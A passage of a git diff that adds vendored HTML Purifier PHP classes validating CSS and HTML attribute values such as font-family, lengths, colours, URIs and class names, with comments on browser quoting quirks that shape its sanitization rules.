+ $quote = $font[0];
+ if ($font[$length - 1] !== $quote) {
+ continue;
+ }
+ $font = substr($font, 1, $length - 2);
+ }
+
+ $font = $this->expandCSSEscape($font);
+
+ // $font is a pure representation of the font name
+
+ if ($allowed_fonts !== null && !isset($allowed_fonts[$font])) {
+ continue;
+ }
+
+ if (ctype_alnum($font) && $font !== '') {
+ // very simple font, allow it in unharmed
+ $final .= $font . ', ';
+ continue;
+ }
+
+ // bugger out on whitespace. form feed (0C) really
+ // shouldn't show up regardless
+ $font = str_replace(array("\n", "\t", "\r", "\x0C"), ' ', $font);
+
+ // Here, there are various classes of characters which need
+ // to be treated differently:
+ // - Alphanumeric characters are essentially safe. We
+ // handled these above.
+ // - Spaces require quoting, though most parsers will do
+ // the right thing if there aren't any characters that
+ // can be misinterpreted
+ // - Dashes rarely occur, but they fairly unproblematic
+ // for parsing/rendering purposes.
+ // The above characters cover the majority of Western font
+ // names.
+ // - Arbitrary Unicode characters not in ASCII. Because
+ // most parsers give little thought to Unicode, treatment
+ // of these codepoints is basically uniform, even for
+ // punctuation-like codepoints. These characters can
+ // show up in non-Western pages and are supported by most
+ // major browsers, for example: "ï¼­ï¼³ 明æœ" is a
+ // legitimate font-name
+ // <http://ja.wikipedia.org/wiki/MS_明æœ>. See
+ // the CSS3 spec for more examples:
+ // <http://www.w3.org/TR/2011/WD-css3-fonts-20110324/localizedfamilynames.png>
+ // You can see live samples of these on the Internet:
+ // <http://www.google.co.jp/search?q=font-family+ï¼­ï¼³+明æœ|ゴシック>
+ // However, most of these fonts have ASCII equivalents:
+ // for example, 'MS Mincho', and it's considered
+ // professional to use ASCII font names instead of
+ // Unicode font names. Thanks Takeshi Terada for
+ // providing this information.
+ // The following characters, to my knowledge, have not been
+ // used to name font names.
+ // - Single quote. While theoretically you might find a
+ // font name that has a single quote in its name (serving
+ // as an apostrophe, e.g. Dave's Scribble), I haven't
+ // been able to find any actual examples of this.
+ // Internet Explorer's cssText translation (which I
+ // believe is invoked by innerHTML) normalizes any
+ // quoting to single quotes, and fails to escape single
+ // quotes. (Note that this is not IE's behavior for all
+ // CSS properties, just some sort of special casing for
+ // font-family). So a single quote *cannot* be used
+ // safely in the font-family context if there will be an
+ // innerHTML/cssText translation. Note that Firefox 3.x
+ // does this too.
+ // - Double quote. In IE, these get normalized to
+ // single-quotes, no matter what the encoding. (Fun
+ // fact, in IE8, the 'content' CSS property gained
+ // support, where they special cased to preserve encoded
+ // double quotes, but still translate unadorned double
+ // quotes into single quotes.) So, because their
+ // fixpoint behavior is identical to single quotes, they
+ // cannot be allowed either. Firefox 3.x displays
+ // single-quote style behavior.
+ // - Backslashes are reduced by one (so \\ -> \) every
+ // iteration, so they cannot be used safely. This shows
+ // up in IE7, IE8 and FF3
+ // - Semicolons, commas and backticks are handled properly.
+ // - The rest of the ASCII punctuation is handled properly.
+ // We haven't checked what browsers do to unadorned
+ // versions, but this is not important as long as the
+ // browser doesn't /remove/ surrounding quotes (as IE does
+ // for HTML).
+ //
+ // With these results in hand, we conclude that there are
+ // various levels of safety:
+ // - Paranoid: alphanumeric, spaces and dashes(?)
+ // - International: Paranoid + non-ASCII Unicode
+ // - Edgy: Everything except quotes, backslashes
+ // - NoJS: Standards compliance, e.g. sod IE. Note that
+ // with some judicious character escaping (since certain
+ // types of escaping doesn't work) this is theoretically
+ // OK as long as innerHTML/cssText is not called.
+ // We believe that international is a reasonable default
+ // (that we will implement now), and once we do more
+ // extensive research, we may feel comfortable with dropping
+ // it down to edgy.
+
+ // Edgy: alphanumeric, spaces, dashes, underscores and Unicode. Use of
+ // str(c)spn assumes that the string was already well formed
+ // Unicode (which of course it is).
+ if (strspn($font, $this->mask) !== strlen($font)) {
+ continue;
+ }
+
+ // Historical:
+ // In the absence of innerHTML/cssText, these ugly
+ // transforms don't pose a security risk (as \\ and \"
+ // might--these escapes are not supported by most browsers).
+ // We could try to be clever and use single-quote wrapping
+ // when there is a double quote present, but I have choosen
+ // not to implement that. (NOTE: you can reduce the amount
+ // of escapes by one depending on what quoting style you use)
+ // $font = str_replace('\\', '\\5C ', $font);
+ // $font = str_replace('"', '\\22 ', $font);
+ // $font = str_replace("'", '\\27 ', $font);
+
+ // font possibly with spaces, requires quoting
+ $final .= "'$font', ";
+ }
+ $final = rtrim($final, ', ');
+ if ($final === '') {
+ return false;
+ }
+ return $final;
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Ident.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Ident.php
new file mode 100644
index 000000000..973002c17
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Ident.php
@@ -0,0 +1,32 @@
+<?php
+
+/**
+ * Validates based on {ident} CSS grammar production
+ */
+class HTMLPurifier_AttrDef_CSS_Ident extends HTMLPurifier_AttrDef
+{
+
+ /**
+ * @param string $string
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool|string
+ */
+ public function validate($string, $config, $context)
+ {
+ $string = trim($string);
+
+ // early abort: '' and '0' (strings that convert to false) are invalid
+ if (!$string) {
+ return false;
+ }
+
+ $pattern = '/^(-?[A-Za-z_][A-Za-z_\-0-9]*)$/';
+ if (!preg_match($pattern, $string)) {
+ return false;
+ }
+ return $string;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/ImportantDecorator.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/ImportantDecorator.php
new file mode 100644
index 000000000..ffc989fe8
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/ImportantDecorator.php
@@ -0,0 +1,56 @@
+<?php
+
+/**
+ * Decorator which enables !important to be used in CSS values.
+ */
+class HTMLPurifier_AttrDef_CSS_ImportantDecorator extends HTMLPurifier_AttrDef
+{
+ /**
+ * @type HTMLPurifier_AttrDef
+ */
+ public $def;
+ /**
+ * @type bool
+ */
+ public $allow;
+
+ /**
+ * @param HTMLPurifier_AttrDef $def Definition to wrap
+ * @param bool $allow Whether or not to allow !important
+ */
+ public function __construct($def, $allow = false)
+ {
+ $this->def = $def;
+ $this->allow = $allow;
+ }
+
+ /**
+ * Intercepts and removes !important if necessary
+ * @param string $string
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool|string
+ */
+ public function validate($string, $config, $context)
+ {
+ // test for ! and important tokens
+ $string = trim($string);
+ $is_important = false;
+ // :TODO: optimization: test directly for !important and ! important
+ if (strlen($string) >= 9 && substr($string, -9) === 'important') {
+ $temp = rtrim(substr($string, 0, -9));
+ // use a temp, because we might want to restore important
+ if (strlen($temp) >= 1 && substr($temp, -1) === '!') {
+ $string = rtrim(substr($temp, 0, -1));
+ $is_important = true;
+ }
+ }
+ $string = $this->def->validate($string, $config, $context);
+ if ($this->allow && $is_important) {
+ $string .= ' !important';
+ }
+ return $string;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Length.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Length.php
new file mode 100644
index 000000000..f12453a04
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Length.php
@@ -0,0 +1,77 @@
+<?php
+
+/**
+ * Represents a Length as defined by CSS.
+ */
+class HTMLPurifier_AttrDef_CSS_Length extends HTMLPurifier_AttrDef
+{
+
+ /**
+ * @type HTMLPurifier_Length|string
+ */
+ protected $min;
+
+ /**
+ * @type HTMLPurifier_Length|string
+ */
+ protected $max;
+
+ /**
+ * @param HTMLPurifier_Length|string $min Minimum length, or null for no bound. String is also acceptable.
+ * @param HTMLPurifier_Length|string $max Maximum length, or null for no bound. String is also acceptable.
+ */
+ public function __construct($min = null, $max = null)
+ {
+ $this->min = $min !== null ? HTMLPurifier_Length::make($min) : null;
+ $this->max = $max !== null ? HTMLPurifier_Length::make($max) : null;
+ }
+
+ /**
+ * @param string $string
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool|string
+ */
+ public function validate($string, $config, $context)
+ {
+ $string = $this->parseCDATA($string);
+
+ // Optimizations
+ if ($string === '') {
+ return false;
+ }
+ if ($string === '0') {
+ return '0';
+ }
+ if (strlen($string) === 1) {
+ return false;
+ }
+
+ $length = HTMLPurifier_Length::make($string);
+ if (!$length->isValid()) {
+ return false;
+ }
+
+ if ($this->min) {
+ $c = $length->compareTo($this->min);
+ if ($c === false) {
+ return false;
+ }
+ if ($c < 0) {
+ return false;
+ }
+ }
+ if ($this->max) {
+ $c = $length->compareTo($this->max);
+ if ($c === false) {
+ return false;
+ }
+ if ($c > 0) {
+ return false;
+ }
+ }
+ return $length->toString();
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/ListStyle.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/ListStyle.php
new file mode 100644
index 000000000..e74d42654
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/ListStyle.php
@@ -0,0 +1,112 @@
+<?php
+
+/**
+ * Validates shorthand CSS property list-style.
+ * @warning Does not support url tokens that have internal spaces.
+ */
+class HTMLPurifier_AttrDef_CSS_ListStyle extends HTMLPurifier_AttrDef
+{
+
+ /**
+ * Local copy of validators.
+ * @type HTMLPurifier_AttrDef[]
+ * @note See HTMLPurifier_AttrDef_CSS_Font::$info for a similar impl.
+ */
+ protected $info;
+
+ /**
+ * @param HTMLPurifier_Config $config
+ */
+ public function __construct($config)
+ {
+ $def = $config->getCSSDefinition();
+ $this->info['list-style-type'] = $def->info['list-style-type'];
+ $this->info['list-style-position'] = $def->info['list-style-position'];
+ $this->info['list-style-image'] = $def->info['list-style-image'];
+ }
+
+ /**
+ * @param string $string
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool|string
+ */
+ public function validate($string, $config, $context)
+ {
+ // regular pre-processing
+ $string = $this->parseCDATA($string);
+ if ($string === '') {
+ return false;
+ }
+
+ // assumes URI doesn't have spaces in it
+ $bits = explode(' ', strtolower($string)); // bits to process
+
+ $caught = array();
+ $caught['type'] = false;
+ $caught['position'] = false;
+ $caught['image'] = false;
+
+ $i = 0; // number of catches
+ $none = false;
+
+ foreach ($bits as $bit) {
+ if ($i >= 3) {
+ return;
+ } // optimization bit
+ if ($bit === '') {
+ continue;
+ }
+ foreach ($caught as $key => $status) {
+ if ($status !== false) {
+ continue;
+ }
+ $r = $this->info['list-style-' . $key]->validate($bit, $config, $context);
+ if ($r === false) {
+ continue;
+ }
+ if ($r === 'none') {
+ if ($none) {
+ continue;
+ } else {
+ $none = true;
+ }
+ if ($key == 'image') {
+ continue;
+ }
+ }
+ $caught[$key] = $r;
+ $i++;
+ break;
+ }
+ }
+
+ if (!$i) {
+ return false;
+ }
+
+ $ret = array();
+
+ // construct type
+ if ($caught['type']) {
+ $ret[] = $caught['type'];
+ }
+
+ // construct image
+ if ($caught['image']) {
+ $ret[] = $caught['image'];
+ }
+
+ // construct position
+ if ($caught['position']) {
+ $ret[] = $caught['position'];
+ }
+
+ if (empty($ret)) {
+ return false;
+ }
+ return implode(' ', $ret);
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Multiple.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Multiple.php
new file mode 100644
index 000000000..9f266cdd1
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Multiple.php
@@ -0,0 +1,71 @@
+<?php
+
+/**
+ * Framework class for strings that involve multiple values.
+ *
+ * Certain CSS properties such as border-width and margin allow multiple
+ * lengths to be specified. This class can take a vanilla border-width
+ * definition and multiply it, usually into a max of four.
+ *
+ * @note Even though the CSS specification isn't clear about it, inherit
+ * can only be used alone: it will never manifest as part of a multi
+ * shorthand declaration. Thus, this class does not allow inherit.
+ */
+class HTMLPurifier_AttrDef_CSS_Multiple extends HTMLPurifier_AttrDef
+{
+ /**
+ * Instance of component definition to defer validation to.
+ * @type HTMLPurifier_AttrDef
+ * @todo Make protected
+ */
+ public $single;
+
+ /**
+ * Max number of values allowed.
+ * @todo Make protected
+ */
+ public $max;
+
+ /**
+ * @param HTMLPurifier_AttrDef $single HTMLPurifier_AttrDef to multiply
+ * @param int $max Max number of values allowed (usually four)
+ */
+ public function __construct($single, $max = 4)
+ {
+ $this->single = $single;
+ $this->max = $max;
+ }
+
+ /**
+ * @param string $string
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool|string
+ */
+ public function validate($string, $config, $context)
+ {
+ $string = $this->parseCDATA($string);
+ if ($string === '') {
+ return false;
+ }
+ $parts = explode(' ', $string); // parseCDATA replaced \r, \t and \n
+ $length = count($parts);
+ $final = '';
+ for ($i = 0, $num = 0; $i < $length && $num < $this->max; $i++) {
+ if (ctype_space($parts[$i])) {
+ continue;
+ }
+ $result = $this->single->validate($parts[$i], $config, $context);
+ if ($result !== false) {
+ $final .= $result . ' ';
+ $num++;
+ }
+ }
+ if ($final === '') {
+ return false;
+ }
+ return rtrim($final);
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Number.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Number.php
new file mode 100644
index 000000000..8edc159e7
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Number.php
@@ -0,0 +1,84 @@
+<?php
+
+/**
+ * Validates a number as defined by the CSS spec.
+ */
+class HTMLPurifier_AttrDef_CSS_Number extends HTMLPurifier_AttrDef
+{
+
+ /**
+ * Indicates whether or not only positive values are allowed.
+ * @type bool
+ */
+ protected $non_negative = false;
+
+ /**
+ * @param bool $non_negative indicates whether negatives are forbidden
+ */
+ public function __construct($non_negative = false)
+ {
+ $this->non_negative = $non_negative;
+ }
+
+ /**
+ * @param string $number
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return string|bool
+ * @warning Some contexts do not pass $config, $context. These
+ * variables should not be used without checking HTMLPurifier_Length
+ */
+ public function validate($number, $config, $context)
+ {
+ $number = $this->parseCDATA($number);
+
+ if ($number === '') {
+ return false;
+ }
+ if ($number === '0') {
+ return '0';
+ }
+
+ $sign = '';
+ switch ($number[0]) {
+ case '-':
+ if ($this->non_negative) {
+ return false;
+ }
+ $sign = '-';
+ case '+':
+ $number = substr($number, 1);
+ }
+
+ if (ctype_digit($number)) {
+ $number = ltrim($number, '0');
+ return $number ? $sign . $number : '0';
+ }
+
+ // Period is the only non-numeric character allowed
+ if (strpos($number, '.') === false) {
+ return false;
+ }
+
+ list($left, $right) = explode('.', $number, 2);
+
+ if ($left === '' && $right === '') {
+ return false;
+ }
+ if ($left !== '' && !ctype_digit($left)) {
+ return false;
+ }
+
+ $left = ltrim($left, '0');
+ $right = rtrim($right, '0');
+
+ if ($right === '') {
+ return $left ? $sign . $left : '0';
+ } elseif (!ctype_digit($right)) {
+ return false;
+ }
+ return $sign . $left . '.' . $right;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Percentage.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Percentage.php
new file mode 100644
index 000000000..f0f25c50a
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Percentage.php
@@ -0,0 +1,54 @@
+<?php
+
+/**
+ * Validates a Percentage as defined by the CSS spec.
+ */
+class HTMLPurifier_AttrDef_CSS_Percentage extends HTMLPurifier_AttrDef
+{
+
+ /**
+ * Instance to defer number validation to.
+ * @type HTMLPurifier_AttrDef_CSS_Number
+ */
+ protected $number_def;
+
+ /**
+ * @param bool $non_negative Whether to forbid negative values
+ */
+ public function __construct($non_negative = false)
+ {
+ $this->number_def = new HTMLPurifier_AttrDef_CSS_Number($non_negative);
+ }
+
+ /**
+ * @param string $string
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool|string
+ */
+ public function validate($string, $config, $context)
+ {
+ $string = $this->parseCDATA($string);
+
+ if ($string === '') {
+ return false;
+ }
+ $length = strlen($string);
+ if ($length === 1) {
+ return false;
+ }
+ if ($string[$length - 1] !== '%') {
+ return false;
+ }
+
+ $number = substr($string, 0, $length - 1);
+ $number = $this->number_def->validate($number, $config, $context);
+
+ if ($number === false) {
+ return false;
+ }
+ return "$number%";
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/TextDecoration.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/TextDecoration.php
new file mode 100644
index 000000000..5fd4b7f7b
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/TextDecoration.php
@@ -0,0 +1,46 @@
+<?php
+
+/**
+ * Validates the value for the CSS property text-decoration
+ * @note This class could be generalized into a version that acts sort of
+ * like Enum except you can compound the allowed values.
+ */
+class HTMLPurifier_AttrDef_CSS_TextDecoration extends HTMLPurifier_AttrDef
+{
+
+ /**
+ * @param string $string
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool|string
+ */
+ public function validate($string, $config, $context)
+ {
+ static $allowed_values = array(
+ 'line-through' => true,
+ 'overline' => true,
+ 'underline' => true,
+ );
+
+ $string = strtolower($this->parseCDATA($string));
+
+ if ($string === 'none') {
+ return $string;
+ }
+
+ $parts = explode(' ', $string);
+ $final = '';
+ foreach ($parts as $part) {
+ if (isset($allowed_values[$part])) {
+ $final .= $part . ' ';
+ }
+ }
+ $final = rtrim($final);
+ if ($final === '') {
+ return false;
+ }
+ return $final;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/URI.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/URI.php
new file mode 100644
index 000000000..f9434230e
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/URI.php
@@ -0,0 +1,74 @@
+<?php
+
+/**
+ * Validates a URI in CSS syntax, which uses url('http://example.com')
+ * @note While theoretically speaking a URI in a CSS document could
+ * be non-embedded, as of CSS2 there is no such usage so we're
+ * generalizing it. This may need to be changed in the future.
+ * @warning Since HTMLPurifier_AttrDef_CSS blindly uses semicolons as
+ * the separator, you cannot put a literal semicolon in
+ * in the URI. Try percent encoding it, in that case.
+ */
+class HTMLPurifier_AttrDef_CSS_URI extends HTMLPurifier_AttrDef_URI
+{
+
+ public function __construct()
+ {
+ parent::__construct(true); // always embedded
+ }
+
+ /**
+ * @param string $uri_string
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool|string
+ */
+ public function validate($uri_string, $config, $context)
+ {
+ // parse the URI out of the string and then pass it onto
+ // the parent object
+
+ $uri_string = $this->parseCDATA($uri_string);
+ if (strpos($uri_string, 'url(') !== 0) {
+ return false;
+ }
+ $uri_string = substr($uri_string, 4);
+ $new_length = strlen($uri_string) - 1;
+ if ($uri_string[$new_length] != ')') {
+ return false;
+ }
+ $uri = trim(substr($uri_string, 0, $new_length));
+
+ if (!empty($uri) && ($uri[0] == "'" || $uri[0] == '"')) {
+ $quote = $uri[0];
+ $new_length = strlen($uri) - 1;
+ if ($uri[$new_length] !== $quote) {
+ return false;
+ }
+ $uri = substr($uri, 1, $new_length - 1);
+ }
+
+ $uri = $this->expandCSSEscape($uri);
+
+ $result = parent::validate($uri, $config, $context);
+
+ if ($result === false) {
+ return false;
+ }
+
+ // extra sanity check; should have been done by URI
+ $result = str_replace(array('"', "\\", "\n", "\x0c", "\r"), "", $result);
+
+ // suspicious characters are ()'; we're going to percent encode
+ // them for safety.
+ $result = str_replace(array('(', ')', "'"), array('%28', '%29', '%27'), $result);
+
+ // there's an extra bug where ampersands lose their escaping on
+ // an innerHTML cycle, so a very unlucky query parameter could
+ // then change the meaning of the URL. Unfortunately, there's
+ // not much we can do about that...
+ return "url(\"$result\")";
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Clone.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Clone.php
new file mode 100644
index 000000000..6698a00c0
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Clone.php
@@ -0,0 +1,44 @@
+<?php
+
+/**
+ * Dummy AttrDef that mimics another AttrDef, BUT it generates clones
+ * with make.
+ */
+class HTMLPurifier_AttrDef_Clone extends HTMLPurifier_AttrDef
+{
+ /**
+ * What we're cloning.
+ * @type HTMLPurifier_AttrDef
+ */
+ protected $clone;
+
+ /**
+ * @param HTMLPurifier_AttrDef $clone
+ */
+ public function __construct($clone)
+ {
+ $this->clone = $clone;
+ }
+
+ /**
+ * @param string $v
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool|string
+ */
+ public function validate($v, $config, $context)
+ {
+ return $this->clone->validate($v, $config, $context);
+ }
+
+ /**
+ * @param string $string
+ * @return HTMLPurifier_AttrDef
+ */
+ public function make($string)
+ {
+ return clone $this->clone;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Enum.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Enum.php
new file mode 100644
index 000000000..8abda7f6e
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Enum.php
@@ -0,0 +1,73 @@
+<?php
+
+// Enum = Enumerated
+/**
+ * Validates a keyword against a list of valid values.
+ * @warning The case-insensitive compare of this function uses PHP's
+ * built-in strtolower and ctype_lower functions, which may
+ * cause problems with international comparisons
+ */
+class HTMLPurifier_AttrDef_Enum extends HTMLPurifier_AttrDef
+{
+
+ /**
+ * Lookup table of valid values.
+ * @type array
+ * @todo Make protected
+ */
+ public $valid_values = array();
+
+ /**
+ * Bool indicating whether or not enumeration is case sensitive.
+ * @note In general this is always case insensitive.
+ */
+ protected $case_sensitive = false; // values according to W3C spec
+
+ /**
+ * @param array $valid_values List of valid values
+ * @param bool $case_sensitive Whether or not case sensitive
+ */
+ public function __construct($valid_values = array(), $case_sensitive = false)
+ {
+ $this->valid_values = array_flip($valid_values);
+ $this->case_sensitive = $case_sensitive;
+ }
+
+ /**
+ * @param string $string
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool|string
+ */
+ public function validate($string, $config, $context)
+ {
+ $string = trim($string);
+ if (!$this->case_sensitive) {
+ // we may want to do full case-insensitive libraries
+ $string = ctype_lower($string) ? $string : strtolower($string);
+ }
+ $result = isset($this->valid_values[$string]);
+
+ return $result ? $string : false;
+ }
+
+ /**
+ * @param string $string In form of comma-delimited list of case-insensitive
+ * valid values. Example: "foo,bar,baz". Prepend "s:" to make
+ * case sensitive
+ * @return HTMLPurifier_AttrDef_Enum
+ */
+ public function make($string)
+ {
+ if (strlen($string) > 2 && $string[0] == 's' && $string[1] == ':') {
+ $string = substr($string, 2);
+ $sensitive = true;
+ } else {
+ $sensitive = false;
+ }
+ $values = explode(',', $string);
+ return new HTMLPurifier_AttrDef_Enum($values, $sensitive);
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Bool.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Bool.php
new file mode 100644
index 000000000..036a240e1
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Bool.php
@@ -0,0 +1,51 @@
+<?php
+
+/**
+ * Validates a boolean attribute
+ */
+class HTMLPurifier_AttrDef_HTML_Bool extends HTMLPurifier_AttrDef
+{
+
+ /**
+ * @type bool
+ */
+ protected $name;
+
+ /**
+ * @type bool
+ */
+ public $minimized = true;
+
+ /**
+ * @param bool $name
+ */
+ public function __construct($name = false)
+ {
+ $this->name = $name;
+ }
+
+ /**
+ * @param string $string
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool|string
+ */
+ public function validate($string, $config, $context)
+ {
+ if (empty($string)) {
+ return false;
+ }
+ return $this->name;
+ }
+
+ /**
+ * @param string $string Name of attribute
+ * @return HTMLPurifier_AttrDef_HTML_Bool
+ */
+ public function make($string)
+ {
+ return new HTMLPurifier_AttrDef_HTML_Bool($string);
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Class.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Class.php
new file mode 100644
index 000000000..d5013488f
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Class.php
@@ -0,0 +1,48 @@
+<?php
+
+/**
+ * Implements special behavior for class attribute (normally NMTOKENS)
+ */
+class HTMLPurifier_AttrDef_HTML_Class extends HTMLPurifier_AttrDef_HTML_Nmtokens
+{
+ /**
+ * @param string $string
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool|string
+ */
+ protected function split($string, $config, $context)
+ {
+ // really, this twiddle should be lazy loaded
+ $name = $config->getDefinition('HTML')->doctype->name;
+ if ($name == "XHTML 1.1" || $name == "XHTML 2.0") {
+ return parent::split($string, $config, $context);
+ } else {
+ return preg_split('/\s+/', $string);
+ }
+ }
+
+ /**
+ * @param array $tokens
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return array
+ */
+ protected function filter($tokens, $config, $context)
+ {
+ $allowed = $config->get('Attr.AllowedClasses');
+ $forbidden = $config->get('Attr.ForbiddenClasses');
+ $ret = array();
+ foreach ($tokens as $token) {
+ if (($allowed === null || isset($allowed[$token])) &&
+ !isset($forbidden[$token]) &&
+ // We need this O(n) check because of PHP's array
+ // implementation that casts -0 to 0.
+ !in_array($token, $ret, true)
+ ) {
+ $ret[] = $token;
+ }
+ }
+ return $ret;
+ }
+}
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Color.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Color.php
new file mode 100644
index 000000000..946ebb782
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Color.php
@@ -0,0 +1,51 @@
+<?php
+
+/**
+ * Validates a color according to the HTML spec.
+ */
+class HTMLPurifier_AttrDef_HTML_Color extends HTMLPurifier_AttrDef
+{
+
+ /**
+ * @param string $string
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool|string
+ */
+ public function validate($string, $config, $context)
+ {
+ static $colors = null;
+ if ($colors === null) {
+ $colors = $config->get('Core.ColorKeywords');
+ }
+
+ $string = trim($string);
+
+ if (empty($string)) {
+ return false;
+ }
+ $lower = strtolower($string);
+ if (isset($colors[$lower])) {
+ return $colors[$lower];
+ }
+ if ($string[0] === '#') {
+ $hex = substr($string, 1);
+ } else {
+ $hex = $string;
+ }
+
+ $length = strlen($hex);
+ if ($length !== 3 && $length !== 6) {
+ return false;
+ }
+ if (!ctype_xdigit($hex)) {
+ return false;
+ }
+ if ($length === 3) {
+ $hex = $hex[0] . $hex[0] . $hex[1] . $hex[1] . $hex[2] . $hex[2];
+ }
+ return "#$hex";
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/FrameTarget.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/FrameTarget.php
new file mode 100644
index 000000000..d79ba12b3
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/FrameTarget.php
@@ -0,0 +1,38 @@
+<?php
+
+/**
+ * Special-case enum attribute definition that lazy loads allowed frame targets
+ */
+class HTMLPurifier_AttrDef_HTML_FrameTarget extends HTMLPurifier_AttrDef_Enum
+{
+
+ /**
+ * @type array
+ */
+ public $valid_values = false; // uninitialized value
+
+ /**
+ * @type bool
+ */
+ protected $case_sensitive = false;
+
+ public function __construct()
+ {
+ }
+
+ /**
+ * @param string $string
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool|string
+ */
+ public function validate($string, $config, $context)
+ {
+ if ($this->valid_values === false) {
+ $this->valid_values = $config->get('Attr.AllowedFrameTargets');
+ }
+ return parent::validate($string, $config, $context);
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/ID.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/ID.php
new file mode 100644
index 000000000..3d86efb44
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/ID.php
@@ -0,0 +1,105 @@
